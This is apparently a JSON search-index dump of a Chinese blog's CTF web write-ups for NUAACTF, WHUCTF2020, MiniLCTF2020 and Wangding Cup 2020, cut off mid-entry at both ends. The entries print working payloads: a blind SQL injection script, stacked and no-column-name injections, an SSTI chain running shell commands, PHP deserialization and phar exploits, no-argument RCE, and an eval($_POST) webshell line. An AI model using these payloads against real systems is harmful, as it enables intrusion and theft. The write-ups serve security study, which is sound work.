利用分析:如果传入的参数用户可控,稍微构造就能进行命令执行,如果不可控,可以配合项目中已有的危险函数或者后门进行利用。 ","date":"2020-06-04","objectID":"/php-create_function/:1:0","tags":["RCE"],"title":"PHP Create_function()","uri":"/php-create_function/"},{"categories":["Notes"],"content":"我们简单以NUAACTF的题举个栗子: 源码: \u003c?php $func = @$_GET['func']; $arg = @$_GET['arg']; if(isset($func)\u0026\u0026isset($arg)){$func('$arg1 ,'.$arg,'');} 这是后来出题师傅改过的,因为原题被打了非预期。 分析源码,很明显我们给$func传入create_function,给$arg传入s 然后创建的匿名函数的结构是这样: function niming($arg1 ,s){ } 这样会报错,因为少了个$,我们传入$s,就没有报错了 然后构造:arg=$s){}phpinfo();/* 接下来就可以执行任意命令了,反弹shell啥的都可以 payload: createfun.php?func=create_function\u0026amp;arg=$s){}system(%27cat%20`ls`%27);/* 或者: createfun.php?func=create_function\u0026amp;arg=$s){}show_source(%27flag.php%27);/* flag:nuaactf{34986668} ","date":"2020-06-04","objectID":"/php-create_function/:1:1","tags":["RCE"],"title":"PHP Create_function()","uri":"/php-create_function/"},{"categories":["Writeup"],"content":"WHUCTF2020做题笔记 ","date":"2020-05-27","objectID":"/whuctf2020-writeup/:0:0","tags":["Phar","SQL注入","LFI"],"title":"WHUCTF2020 Writeup","uri":"/whuctf2020-writeup/"},{"categories":["Writeup"],"content":"Easy_sqli 简单盲注,过滤了一些关键词可以双写绕过 exp: import requests def login(_username,_password): url = \"http://218.197.154.9:10011/login.php\" headers = { 'Host': '218.197.154.9:10011', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1', } data = { \"user\":_username, \"pass\":_password } response = requests.post(url,data=data,headers=headers) content = response.content #print content if \"Login success!\" in content: return True else: return False def main(): find_name = \"\" # i 表示了所要查找的名字的最大长度 for i in range(0x50): # 0x80=128 , 0x20=32, 32-128为可显示的字符的区间 for j in range(0x80 , 0x20 , -1): _username = \"1' oorr ascii(substr((seselectlect f111114g frfromom f1ag_y0u_wi1l_n3ver_kn0w),%d,1))=%d#\" %(i,j) _password=\"1\" #print _username if login(_username,_password): find_name+=chr(j) print find_name break main() ","date":"2020-05-27","objectID":"/whuctf2020-writeup/:1:0","tags":["Phar","SQL注入","LFI"],"title":"WHUCTF2020 Writeup","uri":"/whuctf2020-writeup/"},{"categories":["Writeup"],"content":"ezphp 源码: \u003c?php error_reporting(0); highlight_file(__file__); $string_1 = $_GET['str1']; $string_2 = $_GET['str2']; //1st if($_GET['num'] !== '23333' \u0026\u0026 preg_match('/^23333$/', $_GET['num'])){ echo '1st ok'.\"\u003cbr\u003e\"; } else{ die('会代码审计嘛23333'); } //2nd if(is_numeric($string_1)){ $md5_1 = md5($string_1); $md5_2 = md5($string_2); if($md5_1 != $md5_2){ $a = strtr($md5_1, 'pggnb', '12345'); $b = strtr($md5_2, 'pggnb', '12345'); if($a == $b){ echo '2nd ok'.\"\u003cbr\u003e\"; } else{ die(\"can u give me the right str???\"); } } else{ die(\"no!!!!!!!!\"); } } else{ die('is str1 numeric??????'); } //3nd function filter($string){ return preg_replace('/x/', 'yy', $string); } $username = $_POST['username']; $password = \"aaaaa\"; $user = array($username, $password); $r = filter(serialize($user)); if(unserialize($r)[1] == \"123456\"){ echo file_get_contents('flag.php'); } NCTF和Minilctf有类似的题目 最后一关考反序列化逃逸,参考本站:http://blog.clq0.top/2020/05/minil-ctf/#ezbypass payload: http://218.197.154.9:10015/?num=23333%0A\u0026str1=240610708\u0026str2=11230178 POST: username=xxxxxxxxxxxxxxxxxxxx\";i:1;s:6:\"123456\";} poc: \u003c?php function filter($string){ return preg_replace('/x/', 'yy', $string); } $username = 'xxxxxxxxxxxxxxxxxxxx\";i:1;s:6:\"123456\";}'; $password = \"aaaaa\"; $user = array($username, $password); $r = filter(serialize($user)); echo serialize($user).'\u003c/br\u003e'; echo $r.'\u003c/br\u003e'; echo unserialize($r)[1]; if(unserialize($r)[1] == \"123456\"){ echo \"good!\"; } ?\u003e ","date":"2020-05-27","objectID":"/whuctf2020-writeup/:2:0","tags":["Phar","SQL注入","LFI"],"title":"WHUCTF2020 Writeup","uri":"/whuctf2020-writeup/"},{"categories":["Writeup"],"content":"ezcmd 简单的rce-bypass 参考:http://blog.clq0.top/2020/03/ctfhub-web-rce-%e7%bb%bc%e5%90%88%e8%bf%87%e6%bb%a4/ 使用$IFS$9绕空格,变量绕flag和cat即可 或者用cat ls也可直接输出当前所有文件内容 ","date":"2020-05-27","objectID":"/whuctf2020-writeup/:3:0","tags":["Phar","SQL注入","LFI"],"title":"WHUCTF2020 Writeup","uri":"/whuctf2020-writeup/"},{"categories":["Writeup"],"content":"ezinclude 简单文件包含伪协议读文件,经过测试 thankyou.php?file=处存在文件包含,伪协议读flag.php即可 ","date":"2020-05-27","objectID":"/whuctf2020-writeup/:4:0","tags":["Phar","SQL注入","LFI"],"title":"WHUCTF2020 Writeup","uri":"/whuctf2020-writeup/"},{"categories":["Writeup"],"content":"Easy_unserialize 参考:https://www.freebuf.com/column/198945.html 打开题目发现是图片上传,结合题目应该想到phar反序列化,之前在复现Drupal 远程代码执行漏洞(CVE-2019-6339)的时候遇到过,但是没去深究 phar反序列化的利用原理主要是:利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。 \rPhar简介¶\rphar扩展提供了一种将整个PHP应用程序放入称为“ phar”(PHP归档文件)的单个文件中的方法,以便于分发和安装。除了提供此服务之外,phar扩展还提供了一种文件格式抽象方法,用于通过PharData类创建和处理tar和zip文件 ,就像PDO提供了用于访问不同数据库的统一接口一样。与无法在不同数据库之间进行转换的PDO不同,Phar还可以使用一行代码在tar,zip和phar文件格式之间进行转换。有关一个示例,请参见 Phar :: convertToExecutable()。 什么是Phar?Phar归档文件最有特色的特点是可以方便地将多个文件分组为一个文件。这样,phar存档提供了一种在单个文件中分发完整的PHP应用程序并从该文件运行它的方法,而无需将其提取到磁盘。此外,PHP可以像在命令行上和从Web服务器上的任何其他文件一样轻松地执行phar存档。Phar有点像PHP应用程序的拇指驱动器。 ------来自https://www.php.net/manual/en/intro.phar.php\r简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file:// php://等类似,也是一种流包装器。\r //phar结构由 4 部分组成: stub phar 文件标识,格式为 xxx\u003c?php xxx; __HALT_COMPILER();?\u003e; manifest 压缩文件的属性等信息,以序列化存储; contents 压缩文件的内容; signature 签名,放在文件末尾; 这里有两个关键点,一是文件标识,必须以__HALT_COMPILER();?\u003e结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制;二是反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多: 我们知道php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?\u003e这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件: \u003c?php //根据具体代码修改可利用的类 class TestObject { } @unlink(\"phar.phar\"); $phar = new Phar(\"phar.phar\"); $phar-\u003estartBuffering(); $phar-\u003esetStub(\"GIF89a\".\"\u003c?php __HALT_COMPILER(); ?\u003e\"); //设置stub,增加gif文件头 $o = new TestObject(); $phar-\u003esetMetadata($o); //将自定义meta-data存入manifest $phar-\u003eaddFromString(\"test.txt\", \"test\"); //添加要压缩的文件 //签名自动计算 $phar-\u003estopBuffering(); ?\u003e 接下来我们看看WHUCTF这道题, 在index.php访问其他页面抓包可以看到有?acti0n=xxx 用伪协议读upload.php源码:?acti0n=php://filter/convert.Base64-encode/resource=upload.php 伪协议过滤了base64关键字,大小写即可绕过 \u003c!DOCTYPE html\u003e \u003clink type = \"text/css\" rel = \"stylesheet\" href = \"css/style.css\"\u003e \u003chtml lang = \"zh\"\u003e \u003chead\u003e \u003cmeta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /\u003e \u003ctitle\u003e上传图片\u003c/title\u003e \u003c/head\u003e \u003cbody\u003e \u003cscript type = \"text/javascript\" color = \"0,0,255\" opacity = '0.7' zIndex = \"-2\" count = \"99\" src = 'js/canvas-nest.min.js'\u003e\u003c/script\u003e \u003c!-- 动态背景 --\u003e \u003cbr\u003e\u003cbr\u003e\u003cbr\u003e \u003ch2\u003e上传你手里最好的图片!\u003c/h2\u003e \u003cp id = \"comment\"\u003eIf it is excellent enough, you will get the flag!\u003c/p\u003e \u003cbr\u003e\u003cbr\u003e\u003cbr\u003e \u003cdiv class = \"form1\"\u003e \u003cform action = \"upload.php\" method = \"post\" accept-charset = \"utf-8\" enctype = \"multipart/form-data\"\u003e \u003clabel name = \"title\" for = \"file\"\u003e图片: \u003c/label\u003e \u003cinput type = \"file\" name = \"file\" id = \"file\"\u003e \u003cinput type = \"submit\" class = \"button\" name = \"submit\" value = \"上传\"\u003e \u003c/form\u003e \u003c/div\u003e \u003c/body\u003e \u003c/html\u003e \u003c?php error_reporting(0); $dir= 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/'; if(!is_dir($dir)) { if(!mkdir($dir, 0777, true)) { echo error_get_last()['message']; die('Failed to make the directory'); } } chdir($dir); if(isset($_POST['submit'])) { $name= $_FILES['file']['name']; $tmp_name= $_FILES['file']['tmp_name']; $ans= exif_imagetype($tmp_name); if($_FILES['file']['size'] \u003e= 204800) { die('filesize too big.'); } if(!$name) { die('filename can not be empty!'); } if(preg_match('/(htaccess)|(user)|(\\.\\.)|(%)|(#)/i', $name) !== 0) { die('Hacker!'); } if(($ans!= IMAGETYPE_GIF) \u0026\u0026 ($ans!= IMAGETYPE_JPEG) \u0026\u0026 ($ans!= IMAGETYPE_PNG)) { $type= $_FILES['file']['type']; if($type== 'image/gif' or $type== 'image/jpg' or $type== 'image/png' or $type== 'image/jpeg') { echo \"\u003cp align=\\\"center\\\"\u003eDon't cheat me with Content-Type!\u003c/p\u003e\"; } echo(\"\u003cp align=\\\"center\\\"\u003eYou can't upload this kind of file!\u003c/p\u003e\"); exit; } $content = file_get_contents($tmp_name); if(preg_match('/(scandir)|(end)|(implode)|(eval)|(system)|(passthru)|(exec)|(chroot)|(chgrp)|(chown)|(shell_exec)|(proc_open)|(proc_get_status)|(ini_alter)|(ini_set)|(ini_restore)|(dl)|(pfsockopen)|(symlink)|(popen)|(putenv)|(syslog)|(readlink)|(stream_socket_server)|(error_log)/i', $content) !== 0) { echo('\u003cscript\u003ealert(\"You could not upload this image because of some dangerous code in your file!\")\u003c/script\u003e'); exit; } $extension = ","date":"2020-05-27","objectID":"/whuctf2020-writeup/:5:0","tags":["Phar","SQL注入","LFI"],"title":"WHUCTF2020 Writeup","uri":"/whuctf2020-writeup/"},{"categories":["Writeup"],"content":"题目质量很不错,平台界面好看又稳定,动态docker启动快 ","date":"2020-05-10","objectID":"/minilctf2020-writeup/:0:0","tags":["unserialize","RCE","SQL注入"],"title":"MiniLCTF2020 Writeup","uri":"/minilctf2020-writeup/"},{"categories":["Writeup"],"content":"id_wife 打开是个注入页面,尝试注入: -1') or 1=1 # //爆出所有用户 //这里用了括号包裹 简单fuzz一下发现好像就select被过滤了 尝试基本姿势绕过select都没用,没有select的话一般只能用报错注入和盲注,但是都不能查到字段值 想到强网杯2019的“随便注”也是过滤了select,但是要用堆叠注入 尝试堆叠注入,发现可以,payload: gloucester');show tables;# //1145141919810 user gloucester');desc`1145141919810`#//没看见字段名,无法改名//这里前面要输入存在的用户,为什么是gloucester,可能是名字好看吧 因为gloucester是个pljj select被过滤用预编译: set用于设置变量名和值 prepare用于预备一个语句,并赋予名称,以后可以引用该语句 execute执行语句 deallocate prepare用来释放掉预处理的语句 payload: gloucester');Set @sql = CONCAT('se','lect*from`1145141919810`;');Prepare stmt from @sql;EXECUTE stmt;# //这里Set和Prepare小写时回显hint:strstr //想到strstr区分大小写,过滤了小写那么大写即可绕过 //若要不区分大小写可以换为stristr()函数 flag:minil{61c305b9-0f20-4445-88ea-7c4cddfa40dd} 参考:http://wh1sper.com/2019强网杯随便注_wp/ ","date":"2020-05-10","objectID":"/minilctf2020-writeup/:1:0","tags":["unserialize","RCE","SQL注入"],"title":"MiniLCTF2020 Writeup","uri":"/minilctf2020-writeup/"},{"categories":["Writeup"],"content":"Personal_IP_Query(ssti_bypass) 题目打开会获取你的ip,尝试XFF发现可以 有道题[CISCN2019 华东南赛区]Web11就是在XFF处进行SSTI 构造{{77}}发现返回49,构造{{7‘7’}}发现引号被过滤 于是尝试绕过引号进行ssti 参考:SSTI Bypass 分析、浅析SSTI(python沙盒绕过) request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤,过滤双下划线也适用 payload: #获取所有类: /?x1=__class__;x2=__base__;x3=__subclasses__ X-Forwarded-For: {{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()}} #寻找到catch_warning: /?x1=__class__;x2=__base__;x3=__subclasses__;x4=__getitem__ X-Forwarded-For: {{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(174)}} #命令执行: /?x1=__class__;x2=__base__;x3=__subclasses__;x4=__getitem__;x5=__init__;x6=__globals__;x7=__builtins__;x8=eval;x9=__import__(\"os\").popen('cat+/flag').read() X-Forwarded-For:{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(174)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}} 这里getitem的用法为:__mro__[2]== __mro__.__getitem__(2)这样方便构造 这里是用的GET传参,将其中的request.args改为request.values则利用POST的方式进行传参 flag:minil{4326ae13-0106-423d-b9fc-3fc989f84bcf} ","date":"2020-05-10","objectID":"/minilctf2020-writeup/:2:0","tags":["unserialize","RCE","SQL注入"],"title":"MiniLCTF2020 Writeup","uri":"/minilctf2020-writeup/"},{"categories":["Writeup"],"content":"ezbypass 打开是一个登录界面,尝试注入: sqlfuzz: //ban:1;200falsefalse19465and200falsefalse19466or200falsefalse19467for200falsefalse194617information200falsefalse194621concat200falsefalse194623order200falsefalse194632oror200falsefalse194633=200falsefalse194635/200falsefalse194637^200falsefalse194639\u003c\u003e200falsefalse194643/**/200falsefalse194647;200falsefalse194648xor200falsefalse194649regexp200falsefalse194653substr200falsefalse194654if200falsefalse194655hex200falsefalse194656mid200falsefalse194657char200falsefalse194659updatexml200falsefalse194660extractvalue200falsefalse194661secpulse'='200falsefalse194662update200falsefalse194663insert200falsefalse194665concat200falsefalse194668sleep200falsefalse194669ascii200falsefalse194670bin200falsefalse194671floor200falsefalse194672,200falsefalse194674substring200falsefalse194675group_concat200falsefalse194677BENCHMARK200falsefalse194678ord200falsefalse194682password200falsefalse194684?\\200falsefalse194685concat_ws200falsefalse194693rand200falsefalse194695load_file200falsefalse1946 看起来过滤了很多,还好select和union没被ban,还有limit可以用 主要是逗号被ban了需要绕过:参考:http://blog.clq0.top/2020/04/x1ct34m考核题笔记/#i-3 这题问了出题人,预期解是逗号绕过和无列名注入 预期解: 猜列数:1\"union select * from ((select 1)A join (select 2)B)# //alert('Username:1 \\nPassword:2') 爆库名: 1\"unionselect*from((select1)Ajoin(selectdatabase())B)#//alert('Username:1 \\nPassword:minil_sqli')爆表名:因为or被滤了,所以information_schema用不了尝试sys.schema_table_statistics无果,没事还有mysql.innodb_table_stats:1\"union select * from ((select table_name from mysql.innodb_table_stats )A join (select 2)B)# //alert('Username:minil_users1 \\nPassword:3') //用limit、offset一个一个查(因为concat被过滤了): 1\"unionselect*from((selecttable_namefrommysql.innodb_table_statslimit1offset1)Ajoin(select2)B)#//alert('Username:gtid_slave_pos \\nPassword:3')就这两条所以表名:minil_users1、gtid_slave_pos爆列名:1\"union select * from ((select username from minil_users1)A join (select 2)B)# //alert('Username:admin \\nPassword:2') 然后就只能无列名注入了,因为password被ban了,并且没有可替换的数据库存有列名 这里尝试用之前的payload: 1\"union select * from ((select 1)m join (select x.2 from (select * from (select 1)i join (select 2)j union select * from minil_users1)x limit 1 offset 0)t)# 没有用,尝试了一些网上的也没出,等一手wp吧 非预期: wh1sper师傅告诉用:1\"||1 limit 1 offset 0#,恍然大悟 //爆出当前表所有字段和值 alert('Username:admin \\nPassword:You_really_enter_it') alert('Username:guest \\nPassword:1145141919810') alert('Username:V0n \\nPassword:XDSEC_NIUBI') alert('Username:Flag_1s_heRe \\nPassword:goto /flag327a6c4304a') 然后访问网页ip/flag327a6c4304a/ 打开是个反序列化逃逸: \u003c?php include ('flag.php'); error_reporting(0); function filter($payload){ $key = array('php','flag','xdsec'); $filter = '/'.implode('|',$key).'/i'; return preg_replace($filter,'hack!!!!',$payload); } $payload=$_GET['payload']; $fuck['mini']='nb666'; $fuck['V0n']='no_girlfriend'; if(isset($payload)) { if (strpos($payload, 'php') \u003e=0 || strpos($payload, 'flag')\u003e=0 || strpos($payload, 'xdsec')\u003e=0) { $fuck['mini']=$payload; var_dump(filter(serialize($fuck))); $fuck=unserialize(filter(serialize($fuck))); var_dump($fuck); if ($fuck['V0n'] === 'has_girlfriend') { echo $flag; } else { echo 'fuck_no_girlfriend!!!'; } }else{ echo 'fuck_no_key!!!'; } }else{ highlight_file(__FILE__); } 可以看到过滤了php、flag、xdsec 一方面是防止直接var_dump($flag);一方面就是让我们利用这个正则替换进行反序列化逃逸 之前有做过类似的,不过两道题有点区别,安恒4月赛那题是这样的: 源码: \u003c?php show_source(\"index.php\"); function write($data) { return str_replace(chr(0) . '*' . chr(0), '\\0\\0\\0', $data); } function read($data) { return str_replace('\\0\\0\\0', chr(0) . '*' . chr(0), $data); } class A{ public $username; public $password; function __construct($a, $b){ $this-\u003eusername = $a; $this-\u003epassword = $b; } } class B{ public $b = 'gqy'; function __destruct(){ $c = 'a'.$this-\u003eb; echo $c; } } class C{ public $c; function __toString(){ //flag.php echo file_get_contents($this-\u003ec); return 'nice'; } } $a = new A($_GET['a'],$_GET['b']); //省略了存储序列化数据的过程,下面是取出来并反序列化的操作 $b = unserialize(read(write(serialize($a)))); payload: a=\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\u0026 b=AAAA\";s:8:\"password\";O:1:\"B\":1:{s:1:\"","date":"2020-05-10","objectID":"/minilctf2020-writeup/:3:0","tags":["unserialize","RCE","SQL注入"],"title":"MiniLCTF2020 Writeup","uri":"/minilctf2020-writeup/"},{"categories":["Writeup"],"content":"Let’s_Play_Dolls 考点:PHP反序列化,无参数RCE 源码: \u003c?php error_reporting(0); if(isset($_GET['a'])){ unserialize($_GET['a']); } else{ highlight_file(__FILE__); } class foo1{ public $var=''; function __construct(){ $this-\u003evar='phpinfo();'; } function execute(){ if(';' === preg_replace('/[^\\W]+\\((?R)?\\)/', '', $this-\u003evar)) { if(!preg_match('/header|bin|hex|oct|dec|na|eval|exec|system|pass/i',$this-\u003evar)){ eval($this-\u003evar); } else{ die(\"hacked!\"); } } } function __wakeup(){ $this-\u003evar=\"phpinfo();\"; } function __desctuct(){ echo '\u003cbr\u003edesctuct foo1\u003c/br\u003e'; } } class foo2{ public $var; public $obj; function __construct(){ $this-\u003evar='hi'; $this-\u003eobj=null; } function __toString(){ $this-\u003eobj-\u003eexecute(); return $this-\u003evar; } function __desctuct(){ echo '\u003cbr\u003edesctuct foo2\u003c/br\u003e'; } } class foo3{ public $var; function __construct(){ $this-\u003evar=\"index.php\"; } function __destruct(){ if(file_exists($this-\u003evar)){ echo \"\u003cbr\u003e\".$this-\u003evar.\"exist\u003c/br\u003e\"; } echo \"\u003cbr\u003edesctuct foo3\u003c/br\u003e\"; } function execute(){ print(\"hi\"); } } 最近遇到好多反序列化,本题需要了解以下魔术方法: __wakeup:unserialize( )会检查是否存在一个_wakeup( ) 方法。如果存在,则会先调用 _wakeup 方法,预先准备对象需要的资源 __construct:具有构造函数的类会在每次创建新对象时先调用此方法。 __destruct:析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。 __toString:_toString( ) 方法用于一个类被当成字符串时应怎样回应。 我们从foo1开始看: foo1中最主要的是以下函数(简化后): function execute(){ eval($this‐\u003evar); } 我们目的要将$var改为我们想要执行的命令 在foo2中可以看到: function __toString(){ $this‐\u003eobj‐\u003eexecute(); return $this‐\u003evar; } 所以我们要将$obj实例化为foo1对象,然后因为这里是__toString方法,看到foo3中有echo函数可以将对象作为字符串输出: function __destruct(){ if(file_exists($this-\u003evar)){ echo \"\u003cbr\u003e\".$this-\u003evar.\"exist\u003c/br\u003e\"; } echo \"\u003cbr\u003edesctuct foo3\u003c/br\u003e\"; } 所以很明显,将$var实例化为foo2对象即可触发__toString方法 所以pop链为: //$f1 = new foo1(); //$f2= new foo2(); //$f3 = new foo3(); //$f3‐\u003evar = $f2; //$f2‐\u003eobj = $f1; //$f1‐\u003evar = \"evil\"; 总结一下就是实例化foo3以后会触发foo2中的__toString方法,然后调用foo1中的execute()执行evil代码 当然没有那么简单,还需要绕过以下: if(';' === preg_replace('/[^\\W]+\\((?R)?\\)/', '', $this-\u003evar)) { if(!preg_match('/header|bin|hex|oct|dec|na|eval|exec|system|pass/i',$this-\u003evar)){ (?R)? 这个意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数) 所以总结就是从$var参数中,匹配匹配字母、数字、下划线,其实就是'\\w+',然后在匹配一个循环的'()',将匹配的替换为NULL,判断剩下的是否只有';' 也就是可以无限嵌套函数但是函数不能有参数 payload: \u003c?php class foo1{ public $var=''; function __construct(){ $this-\u003evar='print_r(array_reverse(scandir(current(localeconv()))));'; } function execute(){ if(';' === preg_replace('/[^\\W]+\\((?R)?\\)/', '', $this-\u003evar)) { if(!preg_match('/header|bin|hex|oct|dec|na|eval|exec|system|pass/i',$this-\u003evar)){ eval($this-\u003evar); } else{ die(\"hacked!\"); } } } function __wakeup(){ $this-\u003evar=\"phpinfo();\"; } function __desctuct(){ echo '\u003cbr\u003edesctuct foo1\u003c/br\u003e'; } } class foo2{ public $var; public $obj; function __construct(){ $this-\u003evar='hi'; $this-\u003eobj=new foo1(); } function __toString(){ $this-\u003eobj-\u003eexecute(); return $this-\u003evar; } function __desctuct(){ echo '\u003cbr\u003edesctuct foo2\u003c/br\u003e'; } } class foo3{ public $var; function __construct(){ $this-\u003evar = new foo2(); } function __destruct(){ if(file_exists($this-\u003evar)){ echo \"\u003cbr\u003e\".$this-\u003evar.\"exist\u003c/br\u003e\"; } echo \"\u003cbr\u003edesctuct foo3\u003c/br\u003e\"; } function execute(){ print(\"hi\"); } } $f3 = new foo3(); $poc = serialize($f3); echo $poc; unserialize($poc); ?\u003eprint_r(array_reverse(scandir(current(localeconv())))); 这段函数用来查看当前目录下的文件 O:4:\"foo3\":2:{s:3:\"var\";O:4:\"foo2\":2:{s:3:\"var\";s:2:\"hi\";s:3:\"obj\";O:4:\"foo1\":1:{s:3:\"var\";s:55:\"print_r(array_reverse(scandir(current(localeconv()))));\";}}} //记得绕过wakeup 得到: 直接访问youCanGet1tmaybe得到flag: minil{ba5683ec-9b63-4591-9be1-e8f0247e1529} ","date":"2020-05-10","objectID":"/minilctf2020-writeup/:4:0","tags":["unserialize","RCE","SQL注入"],"title":"MiniLCTF2020 Writeup","uri":"/minilctf2020-writeup/"},{"categories":["Writeup"],"content":"无参数RCE 举几个栗子: \u003c?php print_r(scandir('.')); ?\u003e可以用来查看当前目录所有文件 但是要怎么构造参数里这个点呢,这里介绍个函数: localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是\".\" 要怎么取到这个点呢,另一个函数: current()返回数组中的单元,默认取第一个值 所以scandir(current(localeconv()));成功打印出当前目录下文件: scandir(pos(localeconv()));也可以 //pos是current的别名 再介绍几个简单常用的: getcwd()获取当前路径 dirname()返回路径中的目录部分,可以用这个函数去读取上一层目录的文件 chdir()改变工作目录 如果文件不能直接显示呢?比如php源码 那我们要怎么取出这个数组呢: 手册里有这些方法,如果要获取的数组是最后一个那我们直接print_r(readfile(end(scandir(getcwd())))); 或者:print_r(readfile(current(array_reverse(scandir(getcwd()))))); array_reverse()以相反的元素顺序返回数组 如果是倒数第二个我们可以用:readfile(next(array_reverse(scandir(getcwd())))); ","date":"2020-05-10","objectID":"/minilctf2020-writeup/:5:0","tags":["unserialize","RCE","SQL注入"],"title":"MiniLCTF2020 Writeup","uri":"/minilctf2020-writeup/"},{"categories":["Writeup"],"content":"如果不是数组的最后一个呢? array_rand(array_flip())array_flip()是交换数组的键和值,array_rand是随机返回一个数组 我们可以用:print_r(readfile(array_rand(array_flip(scandir(current(localeconv())))))); 或者:print_r(readfile(array_rand(array_flip(scandir(getcwd()))))); 多刷新几次在源码中查看到我们成功读取了目标文件 ","date":"2020-05-10","objectID":"/minilctf2020-writeup/:5:1","tags":["unserialize","RCE","SQL注入"],"title":"MiniLCTF2020 Writeup","uri":"/minilctf2020-writeup/"},{"categories":["Writeup"],"content":"如果目标文件不在当前目录呢? print_r(scandir(dirname(getcwd())));查看上一级目录的文件 当然直接print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd()))))));是不可以的 会报错,因为默认是在当前目录寻找并读取这个文件,而这个文件在上一层目录,所以要先改变当前目录 前面写到了chdir(),用print_r(readfile(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))));即可改变当前目录为上一层目录并读取文件 如果在上一层目录的另一个文件夹里呢\r我们使用:`print_r(scandir(dirname(getcwd())));`\r可以得到: 使用:print_r(array_rand(array_flip(scandir(dirname(getcwd())))));得到: 这里我本来想尝试套娃使用类似的方法获取,但是发现好像并不行 没事我们可以换一种方法,我将index.php源代码修改为: \u003c?php eval($_GET['a']); 这里又介绍一个函数:get_defined_vars()此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。 输入:?a=print_r(current(get_defined_vars()));\u0026b=a返回: 这下简单了,我们只需要在b处写需要执行的代码,用next()即可获取到b的值 输入:?a=assert(next(current(get_defined_vars())));\u0026b=phpinfo();//也可以用eval 返回: 我们可以直接:?a=assert(next(current(get_defined_vars())));\u0026b=eval($_POST['a']);蚁剑一把梭 或者由之前查到的路径:?a=assert(next(current(get_defined_vars())));\u0026b=print_r(scandir('../flag_is_here')); 发现了flag3.php,输入:?a=assert(next(current(get_defined_vars())));\u0026b=readfile('../flag_is_here/flag3.php');\r 源码处得到flag: 先到这里,还有利用中间件apache的php内置函数apache_request_headers()进行获取headers达到rce 还有利用php内置函数session_id()获取session进行rce 挖个坑,持续更新ing… 参考:https://www.jianshu.com/p/7355a5ab4822 、https://www.cnblogs.com/wangtanzhi/p/12311239.html ","date":"2020-05-10","objectID":"/minilctf2020-writeup/:5:2","tags":["unserialize","RCE","SQL注入"],"title":"MiniLCTF2020 Writeup","uri":"/minilctf2020-writeup/"},{"categories":["Writeup"],"content":"are you reclu3e 打开是一个登录框,尝试一会注入发现宽字节可以注: 尝试宽字节注入时有不同回显:alert('I know you are reclu3e but you need post the right password')猜列数为2时:1%df' union select 1,2#有: alert('Iknowyouarereclu3ebutyouneedposttherightpassword') 没回显,只能盲注: 盲注数据库长度为5: 1%df'orlength(database())=5#盲注表名:1%df' or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) =117# //第一位u 1%df'orascii(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),2,1))=115#//第二位susers列名:可以根据源码泄露.login.php.swp获得列名:username和password,或者直接猜我怕它平台撑不住所以没扫目录,后来放了hint一看就知道有源码估计把username和password从information_schema.columns表里删了,注了半天没注出来字段值:username:reclu3epassword:50dc96a1567a18eb384eeddf1a9a7d48 或者用逻辑为真万能密码登录:%df' union select 1,1# 然后根据.index.php.swp源码,反序列化即可: \u003c?php include \"flag.php\";//$flag=\"minilctf{****}\"; session_start(); if (empty($_SESSION['uid'])) { include \"loginForm.html\"; } else{ echo '\u003ch1\u003eHello, reclu3e!\u003c/h1\u003e'; $p=unserialize(isset($_GET[\"p\"])?$_GET[\"p\"]:\"\"); } ?\u003e\u003c?php class person{ public $name=''; public $age=0; public $weight=0; public $height=0; private $serialize=''; public function __wakeup(){ if(is_numeric($this-\u003eserialize)){ $this-\u003eserialize++; } } public function __destruct(){ @eval('$s=\"'.$this-\u003eserialize.'\";'); } } payload: public $serialize='\";readfile(\"flag.php\");?\u003e'; 查看源码得到flag,或者直接highlight_file() ","date":"2020-05-10","objectID":"/minilctf2020-writeup/:6:0","tags":["unserialize","RCE","SQL注入"],"title":"MiniLCTF2020 Writeup","uri":"/minilctf2020-writeup/"},{"categories":["Writeup"],"content":"“网鼎杯”2020做题笔记 ","date":"2020-05-10","objectID":"/%E7%BD%91%E9%BC%8E%E6%9D%AF2020-writeup/:0:0","tags":["prototype pollution","XXE"],"title":"“网鼎杯”2020 Writeup","uri":"/%E7%BD%91%E9%BC%8E%E6%9D%AF2020-writeup/"},{"categories":["Writeup"],"content":"AreUSerialz 开题即送源码: \u003c?php include(\"flag.php\"); highlight_file(__FILE__); class FileHandler { protected $op; protected 